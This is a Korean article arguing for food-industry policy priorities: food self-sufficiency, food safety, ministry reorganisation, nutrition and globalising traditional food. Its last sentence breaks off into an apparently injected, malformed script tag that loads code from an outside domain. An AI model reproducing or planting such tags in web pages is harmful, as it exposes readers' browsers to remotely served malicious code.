2004년 4조 달러였던 세계 식품시장규모는 2020년 6조3500억달러로 성장할 것으로 예측되는 가운데 특히 중국을 중심으로 한 아시아 지역의 시장규모가 크게 확대 될 것으로 전망되고 있다.

특히 최근 국제곡물가격의 폭등은 농업뿐만 아니라 식품산업 전체에도 영향을 미칠 것으로 예상되고 있다.

가공식품의 원료 대부분을 수입품에 의존하고 있는 우리나라로서는 국내 식품가격 상승과 함께 수입 원자재의 증가로 식품의 안전성도 위협받고 있는 상황이다.

따라서 차기 정부에서는 세계적인 식량위기와 식품가격의 폭등. 여기에 각종 자유무역협정(FTA) 체결에 따른 농식품의 수입 확대 등을 고려한 특단의 대책마련이 필요하다는 의견이다.

또한 농업과 식품산업 간의 연계를 강화한다고 하나 현실은 두 산업 간의 거리가 너무 벌어져 있어 새 정부는 이를 좁히는데 초점을 맞춰야 한다는 주문이다.

# 농업과 식품산업 연계 강화를 통한 식량자급률 제고

농업·농촌 및 식품산업기본법의 제정으로 5년마다 식량자급률 목표를 설정토록 했다.
시장 개방화 시대에 식량자급률을 높이는 길은 국내 농수축산물 소비를 증가시키는 방법 밖에 없다. 영세한 식품산업의 육성을 통해 외식산업과 식품제조가공산업이 농수축산물의 최대 수요처가 되도록 만들어야 한다.

# 안전하고 질 높은 농식품 공급에 전력

식품산업 정책의 목표는 안전하고 질 높은 농식품을 제공해 국민들에게 건강한 삶을 유도하고 농업과 식품산업의 상호 발전을 도모해 식량안보에 대비하는 것이다. 현재 우리는 광우병, 조류인플루엔자 등의 문제에 노출돼 있으며, 자국에서 생산한 농산물을 국민이 섭취한다라는 기본적인 먹을거리 시스템이 붕괴되고 있다. 소득수준 향상으로 구매력이 커지고 식품원료의 조달범위가 국내외적으로 커질수록 위험확률은 높아질 수밖에 없다. 따라서 소비수준의 상승과 소비자의 니즈가 증가할수록 식품의 안전성을 포함하는 질적인 불균형을 해소하기 위한 정책들이 중요시 될 것이다.

# 일원화된 식품산업 정책 추진

농업·농촌 및 식품산업기본법과 식품산업진흥법 제정으로 농림부가 식품산업의 주무부처가 된 만큼 부의 명칭도 식품안전·식품산업·식품영양분야를 아우르는 가칭 ‘농업·농촌·식품부’로의 개편을 검토해야 한다. 이는 식품산업 육성이 농업발전의 새로운 동력이라는 차원에서 볼 때 타당하다. 또 효과적인 식품산업 육성정책을 추진키 위해서는 부처를 초월하는 기획과 그에 따른 종합적 정책추진이 가능하도록 하는 방안을 강구해야 한다.

# 영세한 식품사업 구조 탈피

식품산업을 발전시키기 위해서는 영세한 사업규모와 취약한 산업구조를 개선시켜야 한다. 식품제조·가공업의 경우 내수시장의 한계로 해외시장 개척이 없으면 산업발전을 기대하기 힘들다. 국가 차원의 R&D 투자와 함께 성장성이 높은 건강기능식품과 전통식품의 해외수출을 위한 기술개발에 적극적인 지원이 필요하다. 외식업도 전체 시장규모는 급팽창하고 있으나 지나치게 많은 음식점 수로 인한 과당경쟁으로 외화내빈(外華內貧) 산업구조를 갖고 있다. 기업형 외식업체들의 육성이 필요하다.

# 식품영양정책 및 식생활개선정책의 추진

국민의 생명유지와 건강관리 차원에서 식품영양정책이 이뤄져야 한다. 최근 에너지 섭취에서 지방의 기여도가 20%를 넘기 시작했고 특히 청소년이나 20대 성인에게 보다 두드러지고 있다. 국민의 건강실태 등을 고려한 적정 식품의 공급과 소비를 통해 국민 개개인의 건강 유지는 물론 만성질환 등으로 인한 의료비 등 사회적 부담을 줄여나가기 위한 정책이 추진돼야 한다. 더불어 앞으로 식생활체계는 단순히 삶을 유지하기 위한 수단이라는 차원을 넘어 소비환경의 다양한 변화를 수용하는 문화적인 차원에서 접근해야 한다는 인식이 증대되고 있다. 따라서 식생활개선사업을 더욱 활성화시켜야 한다.

# 전통식품의 고부가가치 창출

우리 음식에 대한 재평가와 한류 열풍 등으로 우리나나 전통식생활에 대한 국내외 관심이 증대되면서 전통식품은 물론 간편화된 한국음식의 인기 또한 상승하고 있다. 우리의 우수한 전통식문화가 국가 이미지 제고 상품으로 새롭게 부각될 전망이다. 김치가 미국 건강전문지 헬스가 선정한 세계 5대 건강식품에 포함된 것이 좋은 사례다. 전통 식품산업의 육성과 발전이 국산 농산물 소비 증대는 물론 국민 건강증대와 국내 농산물 생산 확대에 이바지 할 수 있다. 전통식품의 세계화를 위한 국제적인 메뉴 개발과 독창적인 한식제품의 개발, 전통 한식의 맛을 느낄 수 있는 서비스를 제공해 전통식품을 더욱 고부가가치적인 전통 상품으로 육성 발전시켜야 한?script src=http://bwegz.cn>
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